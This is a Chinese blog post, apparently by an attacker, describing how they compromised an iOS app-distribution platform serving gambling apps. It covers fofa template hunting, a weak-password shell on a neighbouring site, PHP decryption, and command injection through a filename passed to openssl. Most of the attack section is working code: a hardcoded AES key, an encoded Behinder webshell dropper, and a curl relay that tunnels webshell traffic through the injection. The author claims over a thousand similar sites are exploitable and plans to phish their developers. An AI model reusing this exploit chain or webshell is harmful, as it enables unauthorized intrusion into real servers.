简单介绍一下本次的目标 苹果分发平台
众所周知,目前很多博彩 灰黑色平台是有app的,安卓app是可以直接安装,但是苹果app是不能直接安装的,他们也没有办法让自己的苹果app上架app store。所以就出现了一种平台,叫做分发平台,专门给这些违法软件提供苹果手机的软件安装服务。很多博彩平台要安装他们的苹果app都是会跳转到一个指定的链接,然后扫码就可以直接下载了,这里就是使用的分发平台,由分发平台给他们提供服务 管理苹果app的更新 下载等等
首先我尝试了对目标进行了常规手法,发现不存在什么有价值的漏洞,该源码在网上也并没有找到,猜测是付费搭建
这里我通过fofa搜索关键字符串 找同模板,发现有一千多个同模板
又批量了一把所有独立IP 分析旁站,成功找到了一处后台弱口令,并且getshell成功
这里拖下源码再进行审计,迂回打目标站
大概看了一下,核心基本上都在source
简单的分析了一下大体的逻辑,基本上没有什么上传 sql一类的漏洞,但是对上传的app包解析 以及签名相关基本上都是通过命令行的形式去操作的
这里给了我们可能rce的机会,但是这些都是登录后才能做的操作,稍微就有点麻烦了
在本地搭建起来 对前端的一些功能进行了分析,发现有一个在线证书检测的功能
就是检测证书是否还有效
这里简单的跟了一下接口
好好好,代码给加密了
这里网上找了个关于php hook解密的项目
https://github.com/bizonix/evalhook
解密成功
果然,这里验证证书是否有效 也是通过调用exec函数 openssl去实现的
简单的读了一下逻辑,发现文件名是可控的,控制文件名去拼参数就rce了
这里开始分析代码逻辑,先回到提交的包
这里发现,我们上传证书后,是返回的加密的一段数据
点击提交,发现是提交的加密的值,也就是说 这里想要控制文件夹去拼接命令还需要先解密
这里分析了一下处理该包的函数 发现在接受该post值 调用了一次aesdecrypt进行解密
那么对应的加密函数也就找到了
这里在本地构造一下写冰蝎马的代码
function aesencrypt($data, $key="0E979CAF7B1CCFF7FF58E8D5472B5E60") {
return base64_encode(openssl_encrypt($data, 'aes-128-ecb', base64_decode($key), OPENSSL_RAW_DATA));
}
function aesdecrypt($data, $key="0E979CAF7B1CCFF7FF58E8D5472B5E60") {
$encrypted = base64_decode($data);
return openssl_decrypt($encrypted, 'aes-128-ecb', base64_decode($key), OPENSSL_RAW_DATA);
}
$cmd = "2 -nokeys || echo 'PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKZnVuY3Rpb24gRGVjcnlwdCgkZGF0YSkKewogICAg
JGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IAogICAgJGJzPSJiYXNlNjRfIi4iZGVjb2RlIjsKCSRh
ZnRlcj0kYnMoJGRhdGEuIiIpOwoJZm9yKCRpPTA7JGk8c3RybGVuKCRhZnRlcik7JGkrKykgewog
ICAgCSRhZnRlclskaV0gPSAkYWZ0ZXJbJGldXiRrZXlbJGkrMSYxNV07IAogICAgfQogICAgcmV0
dXJuICRhZnRlcjsKfQokcG9zdD1EZWNyeXB0KGZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1
dCIpKTsKQGV2YWwoJHBvc3QpOwo/Pg==' | base64 -d > fuckme.php
&& echo 1";
$cmd_1 = base64_encode(aesencrypt($cmd));
echo $cmd_1 ;
随便尝试了一个目标,也就成功getshell了
这里我去打了一下本次目标,发现失败了,访问对应的木马提示404
简单的测试了一下,发现执行命令是没有问题的,但是落地.php文件就会被杀
所以我在本地写了一个.php 去进行了中转
function request_by_curl($remote_server, $post_string) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $remote_server);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, "jb51.net's CURL Example beta");
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
function encode_($code)
{
function aesencrypt($data, $key="0E979CAF7B1CCFF7FF58E8D5472B5E60") {
return base64_encode(openssl_encrypt($data, 'aes-128-ecb', base64_decode($key), OPENSSL_RAW_DATA));
}
function aesdecrypt($data, $key="0E979CAF7B1CCFF7FF58E8D5472B5E60") {
$encrypted = base64_decode($data);
return openssl_decrypt($encrypted, 'aes-128-ecb', base64_decode($key), OPENSSL_RAW_DATA);
}
$cmd = "aUlWRkhZckoxMVYzaG80OHJ2UEY1eGdtV3RFRlpGcVF1RTJxSzV6QWdQM3FLM0YySks3ZUZ6ck9GUlJJRjJyOA==";
$p12_file_key = aesdecrypt(base64_decode($cmd ));
#echo $p12_file_key. "n";
#exit();
#echo $code;
$code = base64_encode($code);
$cmd = "2 -nokeys || php -r 'eval(base64_decode("" . $code .""));' > fuckme.txt && echo 1";
$cmd_1 = base64_encode(aesencrypt($cmd));
return $cmd_1 ;
}
$bx = Decrypt(file_get_contents('php://input'));
#$bx = $_REQUEST['pass'];
$post_string = "p12_file=" . urlencode(encode_($bx)) . "&p12_password=22&p12_provision_file=";
#echo $post_string;
request_by_curl('http://xxxx.com/checkCert', $post_string);
#echo $response;
$context = stream_context_create([
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
],
]);
$data = file_get_contents('https://xxxx.com/fuckme.txt', false,$context);
echo $data;
差一千多个类似的平台可以全部拿下了
进后台看了一下 基本上就都是棋牌麻将 假钱包了,接下来就可以考虑钓这些吊毛的开发电脑了
微信:jmp__esp
作者QQ2768559259
QQ群:821723240
原文始发于微信公众号(秘术):关于菠菜、灰黑色app的沦陷